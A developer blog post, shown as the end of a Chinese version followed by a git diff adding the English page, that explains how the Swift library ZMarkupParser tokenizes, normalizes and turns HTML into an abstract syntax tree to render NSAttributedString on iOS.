  1. 效能/算法的優化,雖然比原生 NSAttributedString.DocumentType.html 快速且穩定;但還有需多優化空間,我相信效能絕對不如 XMLParser;希望有朝一日能有同樣的效能但又能保持客製化及自動修正容錯
  2. 支援更多 HTML Tag、Style Attribute 轉換解析
  3. ZNSTextAttachment 再優化,實現 reuse 能,釋放記憶體;可能要研究 CoreText
  4. 支援 Markdown 解析,因底層抽象其實不局限於 HTML;所以只要建好前面的 Markdown 轉 Markup 物件就能完成 Markdown 解析;因此我取名叫 ZMarkupParser,而不是 ZHTMLParser,就是希望有朝一日也能支援 Markdown to NSAttributedString
  5. 支援 Any to Any, e.g. HTML To Markdown, Markdown To HTML,因我們有原始的 AST 樹(Markup 物件),所以實現任意 Markup 間的轉換是有機會的
  6. 實現 css !important 功能,加強抽象 MarkupStyle 的繼承策略
  7. 加強 HTML Selector 功能,目前只是最粗淺的 filter 功能
  8. 好多好多, 歡迎開 issue

如果您心有餘而力不足,也可以透過給我一顆 ⭐ 讓 Repo 可以被更多人看見,進而讓 Github 大神有機會協助貢獻!

總結

[ZMarkupParser](https://github.com/ZhgChgLi/ZMarkupParser){:target="_blank"}

ZMarkupParser

以上就是我開發 ZMarkupParser 的所有技術細節及心路歷程,花費了我快三個月的下班及假日時間,無數的研究及實踐過程,到撰寫測試、提升 Test Coverage、建立 CI;最後才有一個看起來有點樣子的成果;希望這個工具有解決掉有相同困擾的朋友,也希望大家能一起讓這個工具變得更好。

[pinkoi.com](https://www.pinkoi.com){:target="_blank"}

pinkoi.com

目前有應用在敝司 pinkoi.com 的 iOS 版 App 上,沒有發現問題。😄

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

The Chronicles of Crafting an HTML Parser from Scratch

ZMediumToJekyll

diff --git a/posts/2724f02f6e7_en/index.html b/posts/2724f02f6e7_en/index.html new file mode 100644 index 000000000..b037d8973 --- /dev/null +++ b/posts/2724f02f6e7_en/index.html @@ -0,0 +1,2391 @@ + The Chronicles of Crafting an HTML Parser from Scratch | ZhgChgLi
Home The Chronicles of Crafting an HTML Parser from Scratch
Post
Cancel

The Chronicles of Crafting an HTML Parser from Scratch

The Chronicles of Crafting an HTML Parser

Development Record of ZMarkupParser HTML to NSAttributedString Rendering Engine

This article covers HTML string tokenization, normalization, abstract syntax tree generation, the application of Visitor Pattern / Builder Pattern, and some miscellaneous discussions.

Continuing from the Previous Article

Last year, I published an article titled “[TL;DR] Implementing iOS NSAttributedString HTML Render” which briefly introduced the use of XMLParser to parse HTML and convert it into NSAttributedString.Key. The program architecture and approach mentioned in that article were quite disorganized as it was merely a record of the challenges encountered without investing much time into exploring the topic in depth.

Convert HTML String to NSAttributedString

Revisiting the topic, our goal is to convert HTML strings provided by an API into NSAttributedString and apply corresponding styles to display them in UITextView/UILabel.

For example, <b>Test<a>Link</a></b> should be displayed as Test Link.

  • Note 1 Using HTML as the communication and rendering medium between the app and data is not recommended. HTML specifications are too flexible, and apps cannot support all HTML styles without an official HTML conversion rendering engine.

  • Note 2 Starting from iOS 14, you can use the native AttributedString to parse Markdown, or you can introduce the apple/swift-markdown Swift Package to parse Markdown.

  • Note 3 Due to the large size of our company’s project and the extensive use of HTML as a medium for many years, we are unable to completely switch to Markdown or other markup languages at the moment.

  • Note 4 The HTML used here is not meant to display entire HTML webpages; it is merely used as a Markdown-rendering string with styles. (To render entire pages with complex content, including images and tables, WebView with loadHTML is still required.)

It is strongly recommended to use Markdown as the string rendering language. However, if your project faces similar challenges to mine, where you have to use HTML and lack an elegant tool for converting to NSAttributedString, then please proceed with using HTML.

For those who remember the previous article, you can directly skip to the section ZhgChgLi / ZMarkupParser.

NSAttributedString.DocumentType.html

The HTML to NSAttributedString approaches found on the internet usually involve directly using NSAttributedString’s built-in options to render HTML, as shown below:

1
+2
+3
+4
+5
+6
+7
+
let htmlString = "<b>Test<a>Link</a></b>"
+let data = htmlString.data(using: String.Encoding.utf8)!
+let attributedOptions: [NSAttributedString.DocumentReadingOptionKey: Any] = [
+  .documentType: NSAttributedString.DocumentType.html,
+  .characterEncoding: String.Encoding.utf8.rawValue
+]
+let attributedString = try! NSAttributedString(data: data, options: attributedOptions, documentAttributes: nil)
+

Issues with this approach:

  • Poor performance: This method renders styles through WebView Core and then switches back to the Main Thread for UI display. Rendering around 300 characters takes 0.03 seconds.
  • Content loss: For example, marketing copies using <Congratulation!> would have the HTML tag removed.
  • Limited customization: For instance, you cannot specify the boldness level of HTML bold text when converting to NSAttributedString.
  • Intermittent crashes since iOS ≥ 12 with no official solution.
  • Extensive crashes observed in iOS 15, particularly when the device’s battery is low (iOS ≥ 15.2 has fixed this issue).
  • Crash when the string is too long; testing showed that inputting a string of length 54,600+ would cause a 100% crash (EXC_BAD_ACCESS).

The most painful issue is undoubtedly the crashing problem. Since iOS 15 was released until version 15.2 with the fix, this problem has consistently plagued the app. According to the data, between 2022/03/11 and 2022/06/08, there were more than 2.4K crashes, impacting over 1.4K users.

The second problem is performance. As HTML is used as a markup language for string styles, it is heavily applied to UILabel/UITextView in the app. As mentioned earlier, rendering one label takes 0.03 seconds, and when multiplied across multiple *UILabel/UITextView, it leads to noticeable lag for the users’ interactions.

XMLParser

The second approach is the one introduced in the previous article, which involves using XMLParser to parse HTML and apply the corresponding NSAttributedString Key to implement the styles.

You can refer to the implementation in SwiftRichString and the content covered in the previous article.

The previous article only explored the possibility of using XMLParser to parse HTML and perform corresponding conversions. While an experimental implementation was completed, it was not designed as a well-structured “tool” with extendability.

Issues with this approach:

  • Fault tolerance rate of 0: <br> / <Congratulation!> / <b>Bold<i>Bold+Italic</b>Italic</i> In the three scenarios above, when XMLParser parses the HTML, it will throw an error and display blank.
  • Using XMLParser, HTML strings must fully comply with XML rules and cannot be displayed with fault tolerance like in a browser or NSAttributedString.DocumentType.html.

Standing on the Shoulders of Giants

Neither of the two solutions can perfectly and elegantly solve the HTML issues, so I started searching for existing solutions.

After an extensive search, it seems that all the results are similar to the projects mentioned above, Orz, there’s no giant’s shoulder to stand on.

ZhgChgLi/ZMarkupParser

With no giants to rely on, I had to become the giant myself and developed the HTML String to NSAttributedString tool.

Developed purely in Swift, it uses Regex to parse HTML tags and tokenization to analyze and correct tag correctness (fixing unclosed tags and misplaced tags). It then converts the parsed data into an abstract syntax tree and uses the Visitor Pattern to map HTML tags to abstract styles, resulting in the final NSAttributedString. The tool does not rely on any external parser library.

Features

  • Supports HTML Render (to NSAttributedString) / Stripper (removing HTML tags) / Selector functionalities.
  • Higher performance compared to NSAttributedString.DocumentType.html.
  • Automatically analyzes and corrects tag correctness (fixing unclosed tags and misplaced tags).
  • Supports dynamic styling from style=”color:red…”.
  • Supports custom style specifications, for example, requiring extra boldness.
  • Offers flexibility for extending or customizing tags and attributes.

For detailed information on installation and usage, please refer to the article: “ZMarkupParser HTML String to NSAttributedString Tool.”

To try it out directly, you can git clone the project, open the ZMarkupParser.xcworkspace project, select the ZMarkupParser-Demo target, and build & run the project.

ZMarkupParser

ZMarkupParser

Technical Details

Now let’s get to the technical details behind the development of this tool.

Overview of the Process

Overview of the Process

The above image provides a rough overview of the process, and in the following articles, each step will be explained in detail with accompanying code.

⚠️️️️️️ This article will simplify the demo code and reduce abstractions and performance considerations, focusing on explaining the working principles. For the final implementation, please refer to the Source Code of the project.

Code-Based Tokenization

When it comes to HTML rendering, the most crucial step is parsing. In the past, HTML was parsed using XMLParser as if it were XML. However, this approach couldn’t handle the fact that HTML, in everyday use, is not always 100% XML-compliant, leading to parsing errors and an inability to dynamically correct them.

After ruling out the XMLParser approach, the only option left for us in Swift was to use regular expressions (Regex) for matching and parsing.

Initially, I didn’t delve too deep and thought I could directly use regular expressions to extract “paired” HTML tags, then recursively search for HTML tags inside them until the process is complete. However, this method couldn’t handle nested HTML tags or support misaligned, error-tolerant situations. Therefore, I changed the strategy to extract “individual” HTML tags and record whether they are Start Tags, Close Tags, or Self-Closing Tags, along with other string combinations, forming an array of parsing results.

The structure of Tokenization is as follows:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+
enum HTMLParsedResult {
+    case start(StartItem) // <a>
+    case close(CloseItem) // </a>
+    case selfClosing(SelfClosingItem) // <br/>
+    case rawString(NSAttributedString)
+}
+
+extension HTMLParsedResult {
+    class SelfClosingItem {
+        let tagName: String
+        let tagAttributedString: NSAttributedString
+        let attributes: [String: String]?
+        
+        init(tagName: String, tagAttributedString: NSAttributedString, attributes: [String : String]?) {
+            self.tagName = tagName
+            self.tagAttributedString = tagAttributedString
+            self.attributes = attributes
+        }
+    }
+    
+    class StartItem {
+        let tagName: String
+        let tagAttributedString: NSAttributedString
+        let attributes: [String: String]?
+
+        // The Start Tag could be an exceptional HTML Tag or just normal text, e.g., <Congratulation!>. After subsequent normalization, if it is an isolated Start Tag, it will be marked as True.
+        var isIsolated: Bool = false
+        
+        init(tagName: String, tagAttributedString: NSAttributedString, attributes: [String : String]?) {
+            self.tagName = tagName
+            self.tagAttributedString = tagAttributedString
+            self.attributes = attributes
+        }
+        
+        // Used for automatic padding correction during subsequent normalization
+        func convertToCloseParsedItem() -> CloseItem {
+            return CloseItem(tagName: self.tagName)
+        }
+        
+        // Used for automatic padding correction during subsequent normalization
+        func convertToSelfClosingParsedItem() -> SelfClosingItem {
+            return SelfClosingItem(tagName: self.tagName, tagAttributedString: self.tagAttributedString, attributes: self.attributes)
+        }
+    }
+    
+    class CloseItem {
+        let tagName: String
+        init(tagName: String) {
+            self.tagName = tagName
+        }
+    }
+}
+

The regular expression used is as follows:

1
+
<(?:(?<closeTag>\/)?(?<tagName>[A-Za-z0-9]+)(?<tagAttributes>(?:\s*(\w+)\s*=\s*(["|']).*?\5)*)\s*(?<selfClosingTag>\/)?>
+

-> Online Regex101 Playground

  • closeTag: Matches </a>
  • tagName: Matches or
  • tagAttributes: Matches <a href=”https://zhgchg.li” style=”color:red” >
  • selfClosingTag: Matches

*Note: This regex can still be optimized, which we can address in the future.

The latter part of the article provides additional information about the regex for those interested in delving deeper.

The combined code is as follows:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+
var tokenizationResult: [HTMLParsedResult] = []
+
+let expression = try? NSRegularExpression(pattern: pattern, options: expressionOptions)
+let attributedString = NSAttributedString(string: "<a>Li<b>nk</a>Bold</b>")
+let totalLength = attributedString.string.utf16.count // utf-16 support emoji
+var lastMatch: NSTextCheckingResult?
+
+// Start Tags Stack, first in, last out (FILO)
+// Check if the HTML string requires subsequent normalization for fixing misplacements or completing Self-Closing Tags
+var stackStartItems: [HTMLParsedResult.StartItem] = []
+var needForFormatter: Bool = false
+
+expression.enumerateMatches(in: attributedString.string, range: NSMakeRange(0, totalLength)) { match, _, _ in
+    if let match = match {
+        // Check the string between tags or to the first tag, e.g., "Test<a>Link</a>zzz<b>bold</b>Test2" -> "Test,zzz"
+        let lastMatchEnd = lastMatch?.range.upperBound ?? 0
+        let currentMatchStart = match.range.lowerBound
+        if currentMatchStart > lastMatchEnd {
+            let rawStringBetweenTag = attributedString.attributedSubstring(from: NSMakeRange(lastMatchEnd, (currentMatchStart - lastMatchEnd)))
+            tokenizationResult.append(.rawString(rawStringBetweenTag))
+        }
+
+        // <a href="https://zhgchg.li">, </a>
+        let matchAttributedString = attributedString.attributedSubstring(from: match.range)
+        // a, a
+        let matchTag = attributedString.attributedSubstring(from: match.range(withName: "tagName"))?.string.trimmingCharacters(in: .whitespacesAndNewlines).lowercased()
+        // false, true
+        let matchIsEndTag = matchResult.attributedString(from: match.range(withName: "closeTag"))?.string.trimmingCharacters(in: .whitespacesAndNewlines) == "/"
+        // href="https://zhgchg.li", nil
+        // Use regex to extract HTML attributes into [String: String], please refer to the Source Code for details
+        let matchTagAttributes = parseAttributes(matchResult.attributedString(from: match.range(withName: "tagAttributes")))
+        // false, false
+        let matchIsSelfClosingTag = matchResult.attributedString(from: match.range(withName: "selfClosingTag"))?.string.trimmingCharacters(in: .whitespacesAndNewlines) == "/"
+
+        if let matchAttributedString = matchAttributedString,
+            let matchTag = matchTag {
+            if matchIsSelfClosingTag {
+                // e.g. <br/>
+                tokenizationResult.append(.selfClosing(.init(tagName: matchTag, tagAttributedString: matchAttributedString, attributes: matchTagAttributes)))
+            } else {
+                // e.g. <a> or </a>
+                if matchIsEndTag {
+                    // e.g. </a>
+                    // Retrieve the position of the corresponding Start Tag from the Stack, starting from the last occurrence
+                    if let index = stackStartItems.lastIndex(where: { $0.tagName == matchTag }) {
+                        // If it's not the last one, it means there are misplacements or missing closing Tags
+                        if index != stackStartItems.count - 1 {
+                            needForFormatter = true
+                        }
+                        tokenizationResult.append(.close(.init(tagName: matchTag)))
+                        stackStartItems.remove(at: index)
+                    } else {
+                        // Redundant close tag, e.g., </a>
+                        // It doesn't affect subsequent steps, so we ignore it
+                    }
+                } else {
+                    // e.g. <a>
+                    let startItem: HTMLParsedResult.StartItem = HTMLParsedResult.StartItem(tagName: matchTag, tagAttributedString: matchAttributedString, attributes: matchTagAttributes)
+                    tokenizationResult.append(.start(startItem))
+                    // Push it onto the Stack
+                    stackStartItems.append(startItem)
+                }
+            }
+        }
+
+        lastMatch = match
+    }
+}
+
+// Check the ending RawString, e.g., "Test<a>Link</a>Test2" -> "Test2"
+if let lastMatch = lastMatch {
+    let currentIndex = lastMatch.range.upperBound
+    if totalLength > currentIndex {
+        // There are remaining characters
+        let resetString = attributedString.attributedSubstring(from: NSMakeRange(currentIndex, (totalLength - currentIndex)))
+        tokenizationResult.append(.rawString(resetString))
+    }
+} else {
+    // lastMatch = nil, meaning no tags were found, and it's all plain text
+    let resetString = attributedString.attributedSubstring(from: NSMakeRange(0, totalLength))
+    tokenizationResult.append(.rawString(resetString))
+}
+
+// Check if the Stack is empty, if not, it means there are Start Tags without corresponding End Tags
+// Mark them as isolated Start Tags
+for stackStartItem in stackStartItems {
+    stackStartItem.isIsolated = true
+    needForFormatter = true
+}
+
+print(tokenizationResult)
+// [
+//    .start("a",["href":"https://zhgchg.li"])
+//    .rawString("Li")
+//    .start("b",nil)
+//    .rawString("nk")
+//    .close("a")
+//    .rawString("Bold")
+//    .close("b")
+// ]
+

Operation process as shown in the above image

Operation process as shown in the diagram above.

In the end, you will get a Tokenization result array.

Corresponding implementation in the source code: HTMLStringToParsedResultProcessor.swift

Standardization — Normalization

Also known as Formatter, normalization.

After obtaining the preliminary parsing result in the previous step, if further normalization is required during the parsing process, this step is necessary to automatically correct HTML tag issues.

There are three types of HTML tag issues:

  • HTML tag with a missing close tag, for example, <br>
  • Regular text being treated as an HTML tag, for example, <Congratulation!>
  • HTML tags with misplacement, for example, <a>Li<b>nk</a>Bold</b>

The correction process is straightforward; we need to iterate through the elements of the Tokenization result and attempt to fill in the missing parts.

Operation process as shown in the diagram above

Operation process as shown in the diagram above

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+
var normalizationResult = tokenizationResult
+
+// Start Tags Stack, First In Last Out (FILO)
+var stackExpectedStartItems: [HTMLParsedResult.StartItem] = []
+var itemIndex = 0
+while itemIndex < newItems.count {
+    switch newItems[itemIndex] {
+    case .start(let item):
+        if item.isIsolated {
+            // If it is an isolated Start Tag
+            if WC3HTMLTagName(rawValue: item.tagName) == nil && (item.attributes?.isEmpty ?? true) {
+                // If it is not a WCS-defined HTML Tag and has no HTML Attribute
+                // Treat it as regular raw string type
+                normalizationResult[itemIndex] = .rawString(item.tagAttributedString)
+            } else {
+                // Otherwise, convert it to a self-closing tag, e.g., <br> -> <br/>
+                normalizationResult[itemIndex] = .selfClosing(item.convertToSelfClosingParsedItem())
+            }
+            itemIndex += 1
+        } else {
+            // Normal Start Tag, add to the Stack
+            stackExpectedStartItems.append(item)
+            itemIndex += 1
+        }
+    case .close(let item):
+        // Encountered a Close Tag
+        // Get the tags between the Start Stack Tag and this Close Tag
+        // e.g., <a><u><b>[CurrentIndex]</a></u></b> -> Interval 0
+        // e.g., <a><u><b>[CurrentIndex]</a></u></b> -> Interval b,u
+
+        let reversedStackExpectedStartItems = Array(stackExpectedStartItems.reversed())
+        guard let reversedStackExpectedStartItemsOccurredIndex = reversedStackExpectedStartItems.firstIndex(where: { $0.tagName == item.tagName }) else {
+            itemIndex += 1
+            continue
+        }
+        
+        let reversedStackExpectedStartItemsOccurred = Array(reversedStackExpectedStartItems.prefix(upTo: reversedStackExpectedStartItemsOccurredIndex))
+        
+        // Interval 0 means the tags are not misplaced
+        guard reversedStackExpectedStartItemsOccurred.count != 0 else {
+            // If it is a pair, pop it
+            stackExpectedStartItems.removeLast()
+            itemIndex += 1
+            continue
+        }
+        
+        // If there are other intervals, automatically fill in the missing tags in between
+        // e.g., <a><u><b>[CurrentIndex]</a></u></b> ->
+        // e.g., <a><u><b>[CurrentIndex]</b></u></a><b></u></u></b>
+        let stackExpectedStartItemsOccurred = Array(reversedStackExpectedStartItemsOccurred.reversed())
+        let afterItems = stackExpectedStartItemsOccurred.map({ HTMLParsedResult.start($0) })
+        let beforeItems = reversedStackExpectedStartItemsOccurred.map({ HTMLParsedResult.close($0.convertToCloseParsedItem()) })
+        normalizationResult.insert(contentsOf: afterItems, at: newItems.index(after: itemIndex))
+        normalizationResult.insert(contentsOf: beforeItems, at: itemIndex)
+        
+        itemIndex = newItems.index(after: itemIndex) + stackExpectedStartItemsOccurred.count
+        
+        // Update Start Stack Tags
+        // e.g., -> b,u
+        stackExpectedStartItems.removeAll { startItem in
+            return reversedStackExpectedStartItems.prefix(through: reversedStackExpectedStartItemsOccurredIndex).contains(where: { $0 === startItem })
+        }
+    case .selfClosing, .rawString:
+        itemIndex += 1
+    }
+}
+
+print(normalizationResult)
+// [
+//    .start("a",["href":"https://zhgchg.li"])
+//    .rawString("Li")
+//    .start("b",nil)
+//    .rawString("nk")
+//    .close("b")
+//    .close("a")
+//    .start("b",nil)
+//    .rawString("Bold")
+//    .close("b")
+// ]
+

Corresponding implementation in the source code: HTMLParsedResultFormatterProcessor.swift

Abstract Syntax Tree

AKA AST, or Abstract Tree.

After completing Tokenization & Normalization data preprocessing, the next step is to transform the result into an abstract syntax tree 🌲.

As shown above

As shown above.

Converting it into an abstract syntax tree allows us to perform future operations and extensions more conveniently. For example, implementing the Selector feature or performing other transformations, such as HTML to Markdown. Additionally, if we want to add Markdown to NSAttributedString in the future, we only need to implement Markdown’s Tokenization & Normalization to achieve it.

First, we define a Markup Protocol with Child & Parent properties to record information about leaves and branches:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+
protocol Markup: AnyObject {
+    var parentMarkup: Markup? { get set }
+    var childMarkups: [Markup] { get set }
+    
+    func appendChild(markup: Markup)
+    func prependChild(markup: Markup)
+    func accept<V: MarkupVisitor>(_ visitor: V) -> V.Result
+}
+
+extension Markup {
+    func appendChild(markup: Markup) {
+        markup.parentMarkup = self
+        childMarkups.append(markup)
+    }
+    
+    func prependChild(markup: Markup) {
+        markup.parentMarkup = self
+        childMarkups.insert(markup, at: 0)
+    }
+}
+

In addition, we use the Visitor Pattern to define each style attribute as a Markup Element, and then obtain individual application results through different Visit strategies.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
protocol MarkupVisitor {
+    associatedtype Result
+        
+    func visit(markup: Markup) -> Result
+    
+    func visit(_ markup: RootMarkup) -> Result
+    func visit(_ markup: RawStringMarkup) -> Result
+    
+    func visit(_ markup: BoldMarkup) -> Result
+    func visit(_ markup: LinkMarkup) -> Result
+    //...
+}
+
+extension MarkupVisitor {
+    func visit(markup: Markup) -> Result {
+        return markup.accept(self)
+    }
+}
+

Basic Markup nodes:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+
// Root node
+final class RootMarkup: Markup {
+    weak var parentMarkup: Markup? = nil
+    var childMarkups: [Markup] = []
+    
+    func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor {
+        return visitor.visit(self)
+    }
+}
+
+// Leaf node
+final class RawStringMarkup: Markup {
+    let attributedString: NSAttributedString
+    
+    init(attributedString: NSAttributedString) {
+        self.attributedString = attributedString
+    }
+    
+    weak var parentMarkup: Markup? = nil
+    var childMarkups: [Markup] = []
+    
+    func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor {
+        return visitor.visit(self)
+    }
+}
+

Definition of Markup style nodes:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+
// Branch nodes:
+
+// Link style
+final class LinkMarkup: Markup {
+    weak var parentMarkup: Markup? = nil
+    var childMarkups: [Markup] = []
+    
+    func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor {
+        return visitor.visit(self)
+    }
+}
+
+// Bold style
+final class BoldMarkup: Markup {
+    weak var parentMarkup: Markup? = nil
+    var childMarkups: [Markup] = []
+    
+    func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor {
+        return visitor.visit(self)
+    }
+}
+

Corresponding to the Markup implementation in the original code.

Before converting it into an abstract syntax tree, we still need…

MarkupComponent

Since our tree structure does not depend on any data structure (e.g., a node/LinkMarkup should have URL information to proceed with rendering). For this, we define another container to store tree nodes and related data information:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
protocol MarkupComponent {
+    associatedtype T
+    var markup: Markup { get }
+    var value: T { get }
+    
+    init(markup: Markup, value: T)
+}
+
+extension Sequence where Iterator.Element: MarkupComponent {
+    func value(markup: Markup) -> Element.T? {
+        return self.first(where:{ $0.markup === markup })?.value as? Element.T
+    }
+}
+

Corresponding to the MarkupComponent implementation in the original code.

Alternatively, Markup can be declared as Hashable, and we can directly use a Dictionary to store values [Markup: Any]. However, in this case, Markup cannot be used as a regular type and requires adding any Markup.

HTMLTag & HTMLTagName & HTMLTagNameVisitor

We have also abstracted the HTML Tag Name part, allowing users to decide which tags need to be processed and facilitating future extensions. For example, the <strong> tag name can correspond to BoldMarkup.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+
public protocol HTMLTagName {
+    var string: String { get }
+    func accept<V: HTMLTagNameVisitor>(_ visitor: V) -> V.Result
+}
+
+public struct A_HTMLTagName: HTMLTagName {
+    public let string: String = WC3HTMLTagName.a.rawValue
+    
+    public init() {
+        
+    }
+    
+    public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagNameVisitor {
+        return visitor.visit(self)
+    }
+}
+
+public struct B_HTMLTagName: HTMLTagName {
+    public let string: String = WC3HTMLTagName.b.rawValue
+    
+    public init() {
+        
+    }
+    
+    public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagNameVisitor {
+        return visitor.visit(self)
+    }
+}
+

Corresponding to the HTMLTagNameVisitor implementation in the original code.

Additionally, reference to the W3C wiki lists the HTML tag name enum: WC3HTMLTagName.swift

HTMLTag is simply a container object because we want to allow external specification of the style corresponding to HTML tags. So, we declare a container to put them together:

1
+2
+3
+4
+5
+6
+7
+8
+9
+
struct HTMLTag {
+    let tagName: HTMLTagName
+    let customStyle: MarkupStyle? // We'll explain Render later.
+    
+    init(tagName: HTMLTagName, customStyle: MarkupStyle? = nil) {
+        self.tagName = tagName
+        self.customStyle = customStyle
+    }
+}
+

Corresponds to the implementation of HTMLTag in the source code.

HTMLTagNameToHTMLMarkupVisitor

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
struct HTMLTagNameToMarkupVisitor: HTMLTagNameVisitor {
+    typealias Result = Markup
+    
+    let attributes: [String: String]?
+    
+    func visit(_ tagName: A_HTMLTagName) -> Result {
+        return LinkMarkup()
+    }
+    
+    func visit(_ tagName: B_HTMLTagName) -> Result {
+        return BoldMarkup()
+    }
+    //...
+}
+

Corresponds to the implementation of HTMLTagNameToHTMLMarkupVisitor in the source code.

Converting to Abstract Syntax Tree with HTML Data

We need to convert the normalized HTML data result into an abstract syntax tree. First, let’s declare a data structure, MarkupComponent, that can hold HTML data:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+
struct HTMLElementMarkupComponent: MarkupComponent {
+    struct HTMLElement {
+        let tag: HTMLTag
+        let tagAttributedString: NSAttributedString
+        let attributes: [String: String]?
+    }
+    
+    typealias T = HTMLElement
+    
+    let markup: Markup
+    let value: HTMLElement
+    init(markup: Markup, value: HTMLElement) {
+        self.markup = markup
+        self.value = value
+    }
+}
+

Converting to Markup Abstract Syntax Tree:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+
var htmlElementComponents: [HTMLElementMarkupComponent] = []
+let rootMarkup = RootMarkup()
+var currentMarkup: Markup = rootMarkup
+
+let htmlTags: [String: HTMLTag]
+init(htmlTags: [HTMLTag]) {
+  self.htmlTags = Dictionary(uniqueKeysWithValues: htmlTags.map{ ($0.tagName.string, $0) })
+}
+
+// Start Tags Stack, ensuring correct popping of tags
+// Normalization has been done earlier, so it should not result in errors, just to be sure
+var stackExpectedStartItems: [HTMLParsedResult.StartItem] = []
+for thisItem in from {
+    switch thisItem {
+    case .start(let item):
+        let visitor = HTMLTagNameToMarkupVisitor(attributes: item.attributes)
+        let htmlTag = self.htmlTags[item.tagName] ?? HTMLTag(tagName: ExtendTagName(item.tagName))
+        // Using the Visitor to determine the corresponding Markup
+        let markup = visitor.visit(tagName: htmlTag.tagName)
+        
+        // Adding oneself as a leaf node of the current branch
+        // Becoming the current branch
+        htmlElementComponents.append(.init(markup: markup, value: .init(tag: htmlTag, tagAttributedString: item.tagAttributedString, attributes: item.attributes)))
+        currentMarkup.appendChild(markup: markup)
+        currentMarkup = markup
+        
+        stackExpectedStartItems.append(item)
+    case .selfClosing(let item):
+        // Adding directly as a leaf node of the current branch
+        let visitor = HTMLTagNameToMarkupVisitor(attributes: item.attributes)
+        let htmlTag = self.htmlTags[item.tagName] ?? HTMLTag(tagName: ExtendTagName(item.tagName))
+        let markup = visitor.visit(tagName: htmlTag.tagName)
+        htmlElementComponents.append(.init(markup: markup, value: .init(tag: htmlTag, tagAttributedString: item.tagAttributedString, attributes: item.attributes)))
+        currentMarkup.appendChild(markup: markup)
+    case .close(let item):
+        if let lastTagName = stackExpectedStartItems.popLast()?.tagName,
+           lastTagName == item.tagName {
+            // When encountering a Close Tag, go back to the previous level
+            currentMarkup = currentMarkup.parentMarkup ?? currentMarkup
+        }
+    case .rawString(let attributedString):
+        // Adding directly as a leaf node of the current branch
+        currentMarkup.appendChild(markup: RawStringMarkup(attributedString: attributedString))
+    }
+}
+
+// print(htmlElementComponents)
+// [(markup: LinkMarkup, (tag: a, attributes: ["href":"zhgchg.li"]...)]
+

The operation result is shown in the above image

The operation result is shown in the above image.

Corresponds to the implementation of HTMLParsedResultToHTMLElementWithRootMarkupProcessor.swift in the source code.

At this point, we have actually completed the functionality of Selector 🎉

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+
public class HTMLSelector: CustomStringConvertible {
+    
+    let markup: Markup
+    let components: [HTMLElementMarkupComponent]
+    init(markup: Markup, components: [HTMLElementMarkupComponent]) {
+        self.markup = markup
+        self.components = components
+    }
+    
+    public func filter(_ htmlTagName: String) -> [HTMLSelector] {
+        let result = markup.childMarkups.filter({ components.value(markup: $0)?.tag.tagName.isEqualTo(htmlTagName) ?? false })
+        return result.map({ .init(markup: $0, components: components) })
+    }
+
+    //...
+}
+

We can filter leaf node objects layer by layer.

Corresponds to the implementation of HTMLSelector in the source code.

Parser — HTML to MarkupStyle (Abstract of NSAttributedString.Key)

Next, we need to complete the process of converting HTML to MarkupStyle (NSAttributedString.Key).

NSAttributedString sets the style of the text using NSAttributedString.Key Attributes. We have abstracted all the fields of NSAttributedString.Key to correspond to MarkupStyle, MarkupStyleColor, MarkupStyleFont, and MarkupStyleParagraphStyle.

Purpose:

  • Originally, the data structure of Attributes was [NSAttributedString.Key: Any?], which, if exposed directly, would be difficult to control the values the user brings in. If incorrect values are provided, it could lead to crashes, for example, .font: 123.
  • Styles need to be inheritable, for example, <a><b>test</b></a>, where the style of the text “test” is inherited from the link’s bold formatting (bold+link). If we directly expose the Dictionary, it would be challenging to control inheritance rules effectively.
